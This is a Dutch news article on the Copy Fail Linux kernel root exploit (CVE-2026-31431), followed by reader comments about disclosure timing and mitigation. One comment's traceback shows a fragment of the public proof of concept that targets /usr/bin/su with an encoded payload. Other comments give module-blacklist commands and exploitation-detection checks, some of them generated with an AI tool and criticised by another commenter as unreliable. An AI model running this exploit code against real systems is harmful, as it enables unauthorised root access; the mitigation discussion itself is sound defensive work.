Copy Fail-bug kan met klein Python-script root op meeste Linux-distro's krijgen

Beveiligingsonderzoekers hebben een ernstige kwetsbaarheid gevonden in de Linux-kernel, waarmee het mogelijk is rootrechten te krijgen op de meeste distro's. De bug heet Copy Fail en heeft inmiddels een patch. Copy Fail valt vooral op vanwege het gemak waarmee die kan worden uitgevoerd als een aanvaller lokale rechten heeft.

Copy Fail is een kwetsbaarheid in Linux-kernel 4.14 en hoger, een versie die in 2017 uitkwam. De kwetsbaarheid wordt getrackt als CVE-2026-31431 en werd ontdekt door beveiligingsonderzoekers van Theori, die Xint Code maken. De onderzoekers hebben naast een aparte website ook een technische write-up geschreven. Saillant detail aan de bug is dat de onderzoekers zeggen dat die door hun AI-tool is ontdekt, of beter gezegd, dat AI daarnaar op zoek ging nadat een onderzoeker zich verdiepte in een bepaald onderdeel van de kernel, al klinkt die anekdote alsof het bedoeld is om de codescanner onder de aandacht te brengen.

Dat neemt niet weg dat Copy Fail een vrij ernstige en potentieel gevaarlijke kwetsbaarheid is. Het gaat om een privilege escalation waarmee het mogelijk is eenvoudig roottoegang tot een volledig systeem te krijgen vanaf gebruikersrechten.

Een aanvaller hoeft daarvoor alleen een Python-script te gebruiken, dat volgens de onderzoekers slechts 732 bytes groot is.

Getest op Ubuntu, RHEL en SUSE

De onderzoekers hebben exploits succesvol getest op vier Linux-distro's: Ubuntu 24.04 LTS, RHEL 10.1, SUSE 16 en, om onduidelijke redenen, Amazon Linux 2023. Dat ging consistent goed, zeggen de ontdekkers. Ze hebben ook een proof-of-concept van de exploit online gezet, wat het eenvoudiger kan maken voor aanvallers om de bug in de praktijk uit te buiten. Volgens de onderzoekers zijn ook andere distro's kwetsbaar. Ze hebben een issuelijst op GitHub staan waarin gebruikers kunnen aangeven of andere distro's ook getroffen zijn. Daar worden nu distro's als Raspberry Pi OS, Fedora, Rocky Linux en Pop_OS genoemd.

De bug

De bug is een logic-bug in de cryptografische template authencesn in de kernel, specifiek in de algif_aead-module die in 2017 werd toegevoegd. Bij de aanval worden meerdere functies gecombineerd waarmee het voor een aanvaller mogelijk wordt code te schrijven naar de cache van een bestand in plaats van naar de buffer, waardoor een aanvaller zich meer rechten kan toeëigenen dan de bedoeling is.

De bug heeft volgens de ontdekkers daarmee wat weg van Dirty Pipe, een vergelijkbare exploit uit 2022 die ook rootrechten kon geven. Toch zijn er ook verschillen, met name in het gemak waarmee de bug kan worden ingezet. Zo was Dirty Pipe alleen van toepassing op een specifieke kernelversie waar bepaalde patches waren doorgevoerd, maar belangrijker, het script is kleiner en eenvoudiger uit te voeren.

Tegelijkertijd is de bug niet op afstand uit te voeren. Daarvoor hebben gebruikers wel lokale toegang nodig. Dat verkleint het risico enigszins.

Disclosure

De makers hebben hun bevindingen in maart aan het Linux-kernelteam laten weten. Die hebben inmiddels een patch doorgevoerd, maar individuele distro's moeten die wel nog doorvoeren. Sommige grote distro's zoals Ubuntu hebben publiek gezegd dat te repareren, maar er is geen definitieve lijst van alle distro's die zijn getroffen óf waarin de bug is bijgewerkt. Daarvoor moeten gebruikers dus zelf op zoek in de patchnotes van hun distro.

Reacties (147)

[sonicboy]

Info voor andere sysadmins: ik zie in Ubuntu 24.04 dat kmod een update krijgt met dit in de changelog:

kmod (31+20240202-2ubuntu7.2) noble-security; urgency=medium

* Disable loading of algif_aead module to mitigate CVE-2026-31431

(LP: #2150743)

- debian/modprobe.d/disable-algif_aead.conf

-- Marc Deslauriers <[e-mail]> Thu, 30 Apr 2026 08:32:11 -0400

Na installatie wordt er een bestand /etc/modprobe.d/disable-algif_aead.conf aangemaakt die de kwestsbare module disablet maw dezelfde mitigaties zoals aangeraden door bv CERT-EU
Mijn advies aan andere sysadmin: vooraleer je de mitigaties manueel uitvoert (zoals ik heb gedaan) check eerst of er updates klaarstaan van kmod.

Check zeker ook of de module al niet geladen is:

• lsmod | grep algif_aead

daarnaast nog volgende checks (samengesteld met gemini)

• ausearch -sc socket -a 38 --success yes
• ausearch -sc splice | grep -v "uid=0"
• grep "sh -c -- su" /home/*/.bash_history
• pspy (if running) or auditd execve logs
• last -n 20 or grep "session opened for user root" /var/log/auth.log
• dmesg | grep -iE "algif_aead|copy_fail"

Als alles negatief wijst + reboot van server zit je redelijk safe volgens mij

[Reactie gewijzigd door sonicboy op 1 mei 2026 09:25]

[lenwar]

Vergeet er niet bij te melden dat deze aanpassing een serieuze performance impact kan geven op diverse versleutelingstaken. Het is niet een onschuldige workaround die je hier hebt. Het verschilt per situatie of je deze workaround kan of wil hebben. Iedere organisatie zal de afweging moeten maken. Uiteindelijk moet je wel al toegang hebben tot de machine zelf voordat je de exploit kunt gebruiken.

Zeker gezien de publieke impact, zullen de patches nu wel snel komen.

[Cambionn]

Zeker gezien de publieke impact, zullen de patches nu wel snel komen.

Kernel v6.18.22+, v6.19.12+ en v7.0+ hebben sinds gister (wellicht eergister avond al) een fix hiervoor. Wachten is nu op dat distro's het gaan uitrollen (voor die die dat nog niet gedaan hebben).

[mekkieboek]

Kleine aanvulling, als algif_aead niet als losse kernel module bestaat maar integraal in de kernel is meegecompileerd dan kun je de module toch nog blacklisten met een kernel parameter:

initcall_blacklist=algif_aead_init

Dat kun je d.m.v. grub of lilo (bestaat dat nog?) aan de kernel meegeven bij oppstarten.

[fuzzyIon]

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo modprobe -r algif_aead 2>/dev/null || true

maw: module algif_ahead uitschakelen.

[Reactie gewijzigd door fuzzyIon op 1 mei 2026 11:09]

[Wessel de NERD]

Het is handiger om 2>/dev/null || true weg te laten uit het tweede commando.
Dit verbergt namelijk errors die aangeven dat -rf of een reboot nodig zou zijn, of dat de module niet was geladen.

[Cambionn]

Wees hier voorzichtig mee. Niet enkel kan het performance problemen leveren, maar bijv. ook servers in bootloops gooien en andere issues geven. Ik zou aanraden om zeer zorgvuldig te testen alvorens dit op productieservers te gooien.

Overigens bestaan er ook meerdere varianten/manier om algif_aead uit te zetten. Niet enkel voor Ubuntu, maar voor vrijwel elke distro. Meerdere distro's hebben zelf gecommuniceerd hoe dit te doen in afwachting van nieuwe kernels, dus check vooral officiele communicatie, documentatie en fora van je distro.

Kernel v6.18.22+, v6.19.12+ en v7.0+ hebben overigens de echte fix hiervoor. Wachten is nu op dat distro's het gaan uitrollen (voor die die dat nog niet gedaan hebben).

[Reactie gewijzigd door Cambionn op 1 mei 2026 18:29]

[specs2021]

Kennelijk doe ik iets fout, later maar eens uitzoeken wat:

$ ./copy-fail.py

Traceback (most recent call last):

File "/home/user/git/copy-fail/./copy-fail.py", line 8, in <module>

f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

PermissionError: [Errno 13] Permission denied: '/usr/bin/su'

Getest op een 6.12.83 (dus beide voor de crypto fix). En de gebruiker heeft rechten voor "su". Misschien zijn de default kernels te permissive? En is de oplossing zelf je kernel te configueren en overbodige opties uit te zetten? (Security by obscurity help misschien in enkele gevallen?)

Ik ben niet goed genoeg te beweren dat mijn kernels 100% veilig zijn, hooguit "een streepje beter dan de default".

[Reactie gewijzigd door specs2021 op 1 mei 2026 08:55]

[beerse]

Doe eens een `which su`.... Er zijn genoeg instellingen die er voor zorgen dat su niet zomaar gebuikt kan worden. Bijvoorbeeld door de binary niet op /bin/su of /usr/bin/su te hebben staan. En/of door er met aliassen om heen te werken.

In dit geval zie ik een 'permission denied'. Dat kan met diverse methodes worden bereikt. Een selinux kan er voor zorgen dat een executable in /home/user/... die /usr/bin/su niet mag opstarten.

Een gebruiker kan en mag dan rechten hebben om `su` op te starten, dat kan met diverse methoden en op diverse wijzes aan banden gelegd worden.

Uiteindelijk heeft een gewone gebruiker `su` niet nodig, het gebruik van `sudo` heeft in de regel de voorkeur.

[eirreb]

gebruik je de poc van https://copy.fail/ ?

[specs2021]

Ik ben niet goed genoeg om een eigen PoC te schrijven, dus ja.

Misschien een kleine toelichting:

Als je een kernel configureert kun je veel ovebodige drivers weglaten. Daarnaast zijn er enkele optimalisaties voor performance en veilighied. Soms kies ik daarbij voor performance, maar soms zet ik ook functionaliteit uit puur op gevoel. Sommige opties klinken gewoon te mooi om veilig extra performance te bieden en dan kost dat misschien een paar % snelheid.

Ik kan eens testen of het wel werkt met defconfig. Later.

[Reactie gewijzigd door specs2021 op 1 mei 2026 09:03]

[goarilla]

Interessant.

Wat bedoel je met een kernel configureren: make menuconfig/make oldconfig en dan bouwen of ... ? *
Welke optimalisaties gebruik jij voor veiligheid en performance ?

* En hoe houd je dat vol met de release cyclussen dezer dagen. Ik bouwde vroeger ook mijn eigen kernels mar dat was in de Slackware 9-13 dagen. En dan gingen we om een voorbeeldje te noemen van zeg maar 2.6.13 naar 2.6.27.

[specs2021]

Bij een kernel doe je met babystapjes. Je begint (bij voorkeur) met sources die bekend zijn en een configuratie die bekend is. Dat betekent dat ik het liefst de sources download binnen de distributie en de kernel compileer met de huidige configuratie als startpunt. Je wil immers eerst weten of dat wat je gaat bouwen ook gaat werken (hier werkt Debian beter dan Ubuntu, want Debian heeft een sources-package).

2e stap is dan vervangen van de sources door mainstream sources.

Als dat werkt kun je werken aan (1) optimaliseren van de configuratie en (2) toevoegen van functies via externe patches. Ook hier babystapjes: als je de kernel zwaar gaat patchen en de configuratie overhoop gooit is de kans 80% dat het niet gaat werken.

Optimalisatie is allereerst drivers wieden (EISA, PCMCIA, 3Com, DEC Tulip, MGA2000 is oude zooi en kan weg). Als je hiermee een werkende kernel hebt kun je eindelijk beginnen met wat je echt wil: FS reduceren, cpu-opties aanpassen en geheugen-opties aanpassen. Typisch dingetje: tegenwoordig werken 99% v/d gebruikers op 64-bit en alle software is hiervoor aangepast, maar 32-bit compatibiliteit staat gewoon aan (dit hoort alleen aan als je hier een doel voor hebt).

Andere kleine zaken: default instellingen scheduler, DEVPORT en DEVMEM, IKCONFIG, compiler optimizations, coredumps, etc..

Configureren:

• via "make menuconfig"
• of verwijderen regels in .config die je wil herconfigureren en "make oldconfig"

En gebruik de help-functie (en google) waar nodig. Nuttige info met google vind je vaak op de site van arch-linux. De 2e optie werkt vrij efficient omdat zoeken in .config eenvoudiger is dan opsporen van een optie in het menu.

Een configuratie opbouwen vanaf 0 kost veel tijd. Eenmaal werkend optimaliseer je dit waar het uitkomt (dus als je tijd hebt). De rest van de tijd is het een update-patch via kernel.org, "make oldconfig" en in geval van debian "make -j 8 bindeb-pkg". Een kernel updaten kost veel minder tijd dan het controleren en optimaliseren wanneer je tijd hebt.

Met Fedora zal het niet veel anders werken. Ubuntu is gericht op mensen die zelf geen kernel bouwen en dat zie je (weinig informatie over zelf bouwen van kernels).

[specs2021]

Nog een test gedaan met 6.12.79. Geen succesvolle root-attempt, maar andere foutmelding. Elders in het lijstje was genoemd dat de bug gemeld is rond 1 april en 6.12.79 is net ervoor.

Patches voor crypto die werken op de functionaliteit vind je in de changelog van 6.12.81 t/m 6.12.85. Dus waarschijnlijk zit bij 6.12.81 een quick-fix en bij 6.12.85 de final versie.

[smiba]

Welke architectuur is dit? De PoC op de website is enkel voor x86_64, op de repo zijn er wel al mensen die het voor ARM64 geschikt hebben gemaakt

Kan ook zijn dat je de module niet hebt, of deze al geblokkeerd is. Android laat dit type sockets bijvoorbeeld niet zomaar toe

[specs2021]

Voor het gemak test ik op x86_64.

Een PoC houdt natuurlijk alleen in dat je een geprepareerd systeem binnen hoeft te komen. Er zullen vast nog wel enkele lagen tussenzitten die mij tegenhouden, maar een professionele hacker niet.

[ApexAlpha]

Het is echt schandalig om een exploit als deze zo online te gooien in een marketing campagne.

Distro's werden net zo verrast als de rest toen https://copy.fail ineens online kwam. Niet alleen kondigen ze de exploit aan: de code staat er al! 8 regels Python om ALLE Linux distro's te rooten.

En geen enkele distro was nog gepatched of wist het uberhaupt. Ik vind dat echt onverantwoord. Wie weet hoeveel 'shared hosting providers' gister zijn geowned hiermee.

Voor zover ik weet is er nog steeds geen patch voor o.a. RHEL systemen.

Gave exploit, dat dan zeker weer wel. Maar zorg aub dat er 'gewoon' een patch cyclus is geweest al. Het was over 4 weken net zo indrukwekkend geweest om aan te kondigen.

[Reactie gewijzigd door ApexAlpha op 1 mei 2026 08:17]

[bzuidgeest]

Er is gewoon responsible disclosure geweest. Eerst aan het kernel team, daarna een patch, daarna berichtgeving. Dit is gewoon een verschil tussen Microsoft en Linux. Microsoft kan makkelijk een patch naar de wereld pushen, maar Linux is gefragmenteerder. Ze kunnen niet gaan wachten op elke individuele distro, waarvan sommigen nooit worden gerepareerd.

[Polderviking]

Ze kunnen niet gaan wachten op elke individuele distro, waarvan sommigen nooit worden gerepareerd.

Er hoeft ook helemaal niet op alles gewacht te worden.
Het overgrote leeuwendeel gebruikt derivaten van de grote distro's.
Dus in de prakijk had er alleen ff gewacht moeten worden op de RHEL's, Ubuntu's, Debian's en Fedora's om bij het leeuwendeel van de mensen niet ontzettende stress te kweken 1 dag voor het weekend.

Deze publicatie had echt nog wel een maandje later gemogen voor het "responsible" stempeltje.

[Reactie gewijzigd door Polderviking op 1 mei 2026 12:06]

[bzuidgeest]

Het is een kritiek lek, maar niet eentje dat zomaar te exploiten in. Ze moeten eerst nog maar binnendringen om het linkje te plaatsen.

Ik krijg er dus net als ik denk de meesten geen stress van.

[Polderviking]

Hij is niet zomaar te exploiten als je geen enkele vorm van toegang hebt.

Ik denk dat iedereen die iets doet in bijvoorbeeld shared hosting en vps verhuur, of eigenlijk al het andere waardoor je gewoon gebruikers op je server hebt buiten het ICT team, er wel stress van heeft.

[Reactie gewijzigd door Polderviking op 1 mei 2026 13:46]

[bzuidgeest]

Hij is niet zomaar te exploiten als je geen enkele vorm van toegang hebt.

Dat zeg ik al.

Ja de VPS boeren zullen wat meer stress hebben, maar root toegang op je eigen bak valt nog mee. Je kan niet zomaar buiten de VPS treden als ze goed ingericht hebben. Shared hosting is wellicht een stresser, maar die bedrijven moeten toch een plan hebben voor zero-days. Dat kan gewoon niet anders in een prof bedrijf.

Er is een patch ze kunnen aan de gang. Dit is gewoon waar ook linux kosten heeft.

[nullbyte]

ik raak door het nonchalante gebruik van het woord "boeren" in deze context niet onder de indruk van je expertise op dit onderwerp.

Was dat je bedoeling?

[bzuidgeest]

Door het feit dat jij over zoiets kiest te reageren in deze context ben ik niet onder de indruk van je opmerking.

Wat dat je bedoeling?

Ik kan wel lachen om wat voor iemand zich over zoiets druk gaat maken

[ApexAlpha]

Er zit nogal wat ruimte tussen 'wachten op elke individuele distro' en 'wachten op geen enkele distro, ook de grote niet'.

[HollowGamer]

Microsoft kan helemaal niet eenvoudig een patch pushen, want die updaten enkel op donderdag bijvoorbeeld. Terwijl je tegenwoordig eigenlijk dit dagelijks zou moeten doen.

[bzuidgeest]

Voor een zero day kunnen en doen ze wel degelijk van het standaard schema afwijken.

[The Zep Man]

Het is echt schandalig om een exploit als deze zo online te gooien in een marketing campagne.

Beter dat dan een exploit voor jezelf houden en/of op het darkweb verkopen. Nu is de wereld wakker geschud en wordt men weer herinnerd dat op tijd updates uitvoeren belangrijk is.

Het is overigens niet het einde van de wereld. Het is een local privilege escalation. Als iemand zonder toestemming/beheer unprivileged code kan uitvoeren, dan moet je al aannemen dat dat systeem gecompromitteerd is. Al is het niet deze kwetsbaarheid, dan is het mettertijd wel een ander die langskomt. Tijdig updates draaien is het advies om deze tussenbeveiligingslaag weer te versterken is het standaard advies.

Dit zet wel de deur open om bijvoorbeeld oudere, niet meer ondersteunde Android-apparaten "universeel" te rooten. Dat is dan weer fijn om de afvalberg weer een beetje te verkleinen.

[Reactie gewijzigd door The Zep Man op 1 mei 2026 08:21]

[Aganim]

Nu is de wereld wakker geschud en wordt men weer herinnerd dat op tijd updates uitvoeren belangrijk is.

Alleen hadden de meeste distro's nog geen bijgewerkte kernel beschikbaar, en al helemaal niet voor de kernel versies waar deze patch naar gebackport moet worden. Dus er viel niets te updaten, alleen te mitigeren dmv de work-around die de onderzoekers aanbieden op hun website.

[The Zep Man]

Alleen hadden de meeste distro's nog geen bijgewerkte kernel beschikbaar, en al helemaal niet voor de kernel versies waar deze patch naar gebackport moet worden.

De patch werd op 31 maart 2026 aan de kernel toegevoegd. De exploit kwam eergisteren uit. Distributies hadden zat tijd om ondersteunde upstream code door te voeren.

Bij het afhankelijk zijn van backports en tragere distributies (zoals Debian stable) accepteert men een risico m.b.t. dat het langer kan duren voordat security patches beschikbaar zijn. Dat risico kan op andere manieren gemitigeerd worden, zoals met segmentatie.

[Reactie gewijzigd door The Zep Man op 1 mei 2026 09:02]

[luxebenen]

Distributies hadden geen idee van deze exploit of dat er uberhaupt een lek was. Er tot vandaag waren er ook nog gaan patches voor de LTS kernels die debian/Ubuntu LTS/RHEL etc. draaien. En dat zijn nou net de versies die iedereen draait. Daarom is het zo onverantwoord om dit nu online te gooien.

[arjankoole]

dus ze moeten oneindig wachten, terwijl een kwaadwillende die meeleest met de kernel al lang de intel heeft die hij / zij nodig heeft?

de exploit is eenvoudig te mitigeren, en in populaire kernels niet direct een probleem. De module is niet statisch meegebouwd, en is niet standaard geladen.

een maand is meer dan genoeg tijd voor iedereen om wakker te worden. Zeker de grote distro's waren al lang en breed op de hoogte.

[Jerie]

De module is niet statisch meegebouwd, en is niet standaard geladen.

Dat verschilt per OS. In bijvoorbeeld de Fedora en RedHat zit het in de kernel meegebakken. Je kunt het dan nog steeds uitschakelen, maar de oplossing om de kernel module uit te schakelen gaat dan niets doen. Want die kernel module is er al niet. Het is hoe dan ook verstandiger om een een kernel te draaien die de fix bevat.

Mijn advies is simpel: lees de advisory van je OS. Ieder OS zal advisories uitbrengen, of uit hebben gebracht. Lees die door, begrijp wat er staat, en handel er naar.

De tips die hier in dit topic staan, zijn specifiek nuttig maar te onduidelijk over op welke OS'en dit van toepassing zijn. Bovendien staat AI slop prominent op +3. Ronduit gevaarlijk.

[Reactie gewijzigd door Jerie op 1 mei 2026 16:06]

[ApexAlpha]

Als iemand zonder toestemming/beheer unprivileged code kan uitvoeren, dan moet je al aannemen dat dat systeem gecompromitteerd is.

Dit is een beetje raar, heel veel diensten delen Linux bakken. Denk alleen al aan shared webhosting waar je Wordpress draait onder een lage user terwijl andere gebruikers er ook draaien.

En reken er ook maar op dat deze exploit direct in alle Supply Chain Attacks zit, nu al. Dus daar heb je je RCE al.

Ik vind het onverantwoord. Je kan de distro's toch wel inlichten zodat er een patch klaar is op zijn minst.

[Reactie gewijzigd door ApexAlpha op 1 mei 2026 08:23]

[The Zep Man]

Denk alleen al aan shared webhosting waar je Wordpress draait onder een lage user terwijl andere gebruikers er ook draaien.

Anno 2026 Wordpress voor meerdere klanten draaien op dezelfde (virtuele) machine is vragen om problemen op heel veel niveaus.

[ApexAlpha]

Leuk zo een puristische houding maar dat neemt niet weg dat het wel heel veel gebeurt in de praktijk en dat het vrijgeven van zo een exploit dus nogal riskant is.

[Reactie gewijzigd door ApexAlpha op 1 mei 2026 08:26]

[The Zep Man]

Nergens schrijf ik dat het niet riskant is. Ik schrijf wel dat het veel erger had kunnen zijn en dat het niet het einde van de wereld is voor degenen die best security practices toepassen (juiste segmentatie, tijdig updates uitvoeren, etc.).

Als een partij hierdoor in paniek raakt, dan heeft die partij andere zaken niet op orde. Don't blame the messenger is een verstandig advies omdat het niet productief is, ook al is degene die het bericht geeft niet echt netjes in hoe die zijn werk doet.

[Reactie gewijzigd door The Zep Man op 1 mei 2026 08:38]

[ApexAlpha]

'tijdig updates uitvoeren'.

Lekker dan als iemand een exploit online gooit zonder de distro's tijd te geven een update uberhaupt klaar te zetten.

Hoe helpt dat hier dan?

[The Zep Man]

"Tijdig" houdt niet in "meteen, ook al kan het nog niet". Daarom heb je juist segmentatie. Dat mitigeert het risico.

Nadat de patch in de Linux kernel is opgenomen duurde het nog bijna een maand voordat de kwetsbaarheid publiekelijk werd gemaakt. Als men tijdig updates draait en de gebruikte distributie dan nog niet een adequate kernel update aanbiedt, dan is het tijd om een andere distributie te kiezen.

[Reactie gewijzigd door The Zep Man op 1 mei 2026 08:40]

[foobar79]

en de gebruikte distributie dan nog niet een adequate kernel update aanbiedt, dan is het tijd om een andere distributie te kiezen

Ehh, er is zijn zat goede redenen om niet zo dicht de main kernel te volgen.
Het hele model van o.a. RedHat is er op gebaseerd dat ze een stabiel platform leveren zodat je met grote zekerheid een kernel update kan draaien zonder dat er vervolgens van alles omvalt (bv geen ABI brekerende dingen in kernel patches tenzij het echt niet anders kan ivm een security issue)
Dat is vervolgens weer belangrijk voor andere software en hardware leveranciers die hun applicatie of hardware bv alleen maar op RedHat certificeren.

[The Zep Man]

Ehh, er is zijn zat goede redenen om niet zo dicht de main kernel te volgen.

In die beredenering neemt men natuurlijk andere mitigerende maatregelen mee om het effect van openstaande kwetsbaarheden te mitigeren. In dat soort situaties is er weinig reden voor paniek.

[Reactie gewijzigd door The Zep Man op 1 mei 2026 09:21]

[nandervv]

Als ze achter willen blijven lopen op de Kernel, dan is het hun verantwoordelijkheid om in redelijke tijd te fixen. Net als met iets als een Ubuntu, die bij een LTS oneindig lang op oude python-versies etc blijft steken. Dan is het niet meer aan de python-ontwikkelaars om de support daarvoor te bieden, maar in plaats daarvan is die verantwoordelijkheid voor degene die de packaging doet.

De Kernel-updates zijn gewoon publiek, en het hele proces ook, dus zodra d'r een MR live is bij de kernel weet je dat serieuze hackers het gewoon kunnen weten. Een distro als red hat zal met dit soort bugfixes dus nauwelijks achter moeten lopen op de kernel zelf.

[arjankoole]

een maand is genoeg tijd, vind ik.

[TheMak]

Op mijn werk hebben voor ern applacatie drie linux acvounts voor shell toegang. Voor álle services hebben ook linux accounts. Zodat mensen die alleen met die services bezighouden niet kunnen zien wat er op de rest van het systeem gebeurt. Het is superirritant al die verschillende accounts, maar het helpt ons met de veiligheid. Maar dat systeem van SOD is nu dus de prullenbak in.

[Barsonax]

Het is overigens niet het einde van de wereld. Het is een local privilege escalation. Als iemand zonder toestemming/beheer unprivileged code kan uitvoeren, dan moet je al aannemen dat dat systeem gecompromitteerd is. Al is het niet deze kwetsbaarheid, dan is het mettertijd wel een ander die langskomt. Tijdig updates draaien is het advies om deze tussenbeveiligingslaag weer te versterken is het standaard advies.

Genoeg valide situaties waar er commandos worden gedraaid op een machine. Deze exploit maakt het user rechten systeem in principe zinloos en dat is best ernstig.

[The Zep Man]

Genoeg valide situaties waar er commandos worden gedraaid op een machine.

Geen enkele situatie legitimeert code zonder toestemming of beheer te draaien.

Deze exploit maakt het user rechten systeem in principe zinloos en dat is best ernstig.

Enkel vertrouwen op het beperken van gebruikersrechten binnen een OS is zinloos en dat is best ernstig.

[Barsonax]

Dat mag jij vinden maar de praktijk is toch anders.

Als jij een rootless container draait kan die nu ineens root rechten krijgen en dat is best ernstig.

En wat als je dit combineert met een exploit die je remote code kan laten uitvoeren? Jup dan is dat nu nog erger want je hebt er ook nog eens root rechten bij.

[Reactie gewijzigd door Barsonax op 1 mei 2026 12:13]

[HollowGamer]

'Ik heb je tuin alvast in de brand gezet, dat is beter dan je huis '.

Dit is niet hoe je wilt werken, je moet developers en gebruikers tijd geven om die updates door te voeren. Zeker bij dit verhaal, volgens mij werd dit nog niet in het wild toegepast?

[Hawkysoft]

Hoezo zou je denken dat dit nog niet in het wild werd toegepast? Dat iemand ergens achter komt, impliceert niet dat dit nog niet bekend was bij anderen..

[pieterpanter]

Dit zet wel de deur open om bijvoorbeeld oudere, niet meer ondersteunde Android-apparaten "universeel" te rooten. Dat is dan weer fijn om de afvalberg weer een beetje te verkleinen. ;)

Die conclusie is wel erg kort door de bocht. Dat het een Linux-kernelbug is, betekent niet automatisch dat hij zich één-op-één laat vertalen naar een universele rootmethode voor Android.

Op desktop Linux werkt dit omdat vrij specifieke voorwaarden aanwezig zijn: de betreffende crypto-interface moet actief zijn, direct vanuit userspace te benaderen zijn en er een logisch pad is naar privilege-escalatie via bijvoorbeeld setuid-binaries. Android wijkt daar juist op meerdere punten van af. Veel kernels hebben die interface niet eens aan staan, en als dat wel zo is, zit daar nog SELinux en syscall filtering tussen die bepaalt welke processen überhaupt zo’n interface mogen gebruiken.

Het belangrijkste punt is dat een normale Android-app hier waarschijnlijk niet eens bij kan. Apps draaien in een strikte sandbox met een eigen UID, en mogen alleen een beperkte set syscalls doen. Toegang tot dit soort low-level kernelinterfaces wordt vaak expliciet geblokkeerd of alleen toegestaan voor systeemprocessen. Dus zelfs als de kwetsbare code aanwezig is, betekent dat niet dat een willekeurige app uit de Play Store die kan aanspreken, laat staan misbruiken.

Daarnaast is dit een local privilege escalation. Je hebt dus eerst al code execution nodig binnen de sandbox, en daarna nog een manier om uit die sandbox te breken. Deze bug zou hooguit één stap in dat proces kunnen zijn, niet de hele keten.

Voor oudere toestellen of specifieke configuraties kan het interessant worden, maar het idee dat je hiermee “even” universeel Android-devices kunt rooten gaat voorbij aan hoe streng Android die eerste toegang tot de kernel al afschermt.

[Daniel304]

De exploit is gewoon netjes gerapporteerd en een maand later pas publiekelijk gepubliceerd. De laatste twee Debian kernels waren al gepatched. Van de website van copy.fail:

Coordinated Disclosure Timeline

Date Event
[2026-03-23] Vulnerability reported to Linux kernel security team
[2026-03-24] Initial acknowledgment received
[2026-03-25] Patches proposed and reviewed
[2026-04-01] Patches committed to mainline kernel
[2026-04-22] CVE-2026-31431 assigned
[2026-04-29] Public disclosure (this article)

[Reactie gewijzigd door Daniel304 op 1 mei 2026 08:36]

[elmuerte]

De laatste twee Debian kernels waren al gepatched

Debian stable is past vanacht gepatched. Forky is Debian testing. Het is niet responsible als de grote Linux vendors nog geen patches klaar hebben staan, en dat wisten ze.

[Reactie gewijzigd door elmuerte op 1 mei 2026 08:43]

[Blokker_1999]

De patch is een maand geleden reeds beschikbaar gesteld, dat er een ernstige CVE aan vast hangt is ook al meer dan een week bekend ondertussen. Grote distributies hebben dan ook niet echt nog een excuus om het nu niet opgelost te hebben.

En het probleem is op de juiste plaats gemeld, zijnde bij de kernel maintainers. Het is dan aan de mensen die de kernel onderhouden om eventueel verdere stappen te ondernemen om distributies op de hoogte te stellen. Je kan niet gaan verwachten dat iemand die een lek vindt ook nog eens de nodige contacten kan gaan ontwikkelen om bij elke distro individueel te gaan aankloppen. Dat werkt ook nog eens contraproductief omdat al die distro's dan ook weer bij onder andere de kernel maintainers zullen gaan aankloppen of dat er net weer vanuit de distributies nieuws naar buiten zal komen terwijl de onderzoekers zelf het nog te vroeg vonden.

Je kan nooit iedereen een plezier doen. En een maand tussen patch beschikbaar en disclosure is, wat mij betreft, een aanvaardbare tijd en veel langer dan vele andere bugs krijgen, ook in de FOSS wereld.

[luxebenen]

De patch is een maand geleden reeds beschikbaar gesteld, dat er een ernstige CVE aan vast hangt is ook al meer dan een week bekend ondertussen. Grote distributies hebben dan ook niet echt nog een excuus om het nu niet opgelost te hebben.

De CVE was niet publiek, de patch had de titel crypto: algif_aead - Revert to operating out-of-place . De distros waren totaal onvoorbereid omdat niemand ze had ingelicht, ook de onderzoeker niet.

Je kan niet gaan verwachten dat iemand die een lek vindt ook nog eens de nodige contacten kan gaan ontwikkelen om bij elke distro individueel te gaan aankloppen

Er is een mailing list met alle grote distros voor precies dit doel. Dit wordt ook vermeld bij de Linux security disclosure. Het is sws compleet onverantwoord om dit online te gooien terwijl 99% van alle distros not kwestbaar zijn

[elmuerte]

Er was alleen een patch beschikbaar voor de mainline kernel branch. Maar nog niet voor de TLS kernels. En blijkbaar ook niet voor geen enkele major distributie. Dus er waren nog geen productie patches beschikbaar. In mijn boekje is dat dus zeker geen responsible disclosure. Dat doe je pas als mensen direct aan de slag kunnen gaan om de patches te installeren.

[GertMenkel]

Linux en LTS gaan zelden samen. Het zijn over het algemeen de distro's zelf die LTS proberen mogelijk te maken door patches te backporten, maar dat is dan ook het probleem van de distro.

[tomvleeuwen]

Hoe bedoel je dat? Er zijn genoeg Linux versies die als LTS bestempeld worden. De oudste is 5.10, die kwam in 2020 uit.

Kijk maar op kernel.org, er zijn er best veel waar "longterm" bij staat die nog ondersteund worden.

[GertMenkel]

De LTS releases krijgen niet alle patches en (security)fixes die de stable versies krijgen, en de patches die ze krijgen komen vaak later. Zoals je kunt zien is deze fix bijvoorbeeld nog niet op de oude releases van de officiële sources gebackport.

Als je tijdig securityfixes wilt hebben, moet je of een stable versie van Linux draaien, of een kernel van een derde partij zoals Canonical draaien die zelf patches backport.

De LTS verschilt met "normale" oude versies van Linux dat er wel fixes naar worden gebackport, in tegenstelling tot voorheen waar alleen stable nog aandacht kreeg. Maar het is niet de LTS zoals je zou verwachten bij Windows, bijvoorbeeld.

[GertMenkel]

De patch was niet gemarkeerd als kwetsbaarheid. De Linuxkernel brengt distros niet op de hoogte (mogen ze blijkbaar niet).

Vaak rapporteren beveiligingsonderzoekers los distro's voor ze de boel online gooien, maar goed, dat is natuurlijk optioneel.

[TheMak]

Waarschijnlijk is er geeneen kritiek systeem nu gepatcht.

[Daniel304]

We hebben de voorlaatste kernel versie getest (van Debian 12) en daar werkte het test script niet op..

[The-Source]

Maar hoe kerken je zelf of je systeem is gepatched. Dat ik up to date ben met updates betekend niet automatisch dat de Distro zelf up to date is tegen deze bug.

[Loggedinasroot]

Er staat een script op https://copy.fail waarmee je kan kijken of je gepatched bent

[The-Source]

Nou er staat een script of je nog vatbaar ben. Ik ga hoe klein een script ook is dit niet zomaar draaien. En verder is de omschrijving op de site ook niet voor iedereen weg gelegd:

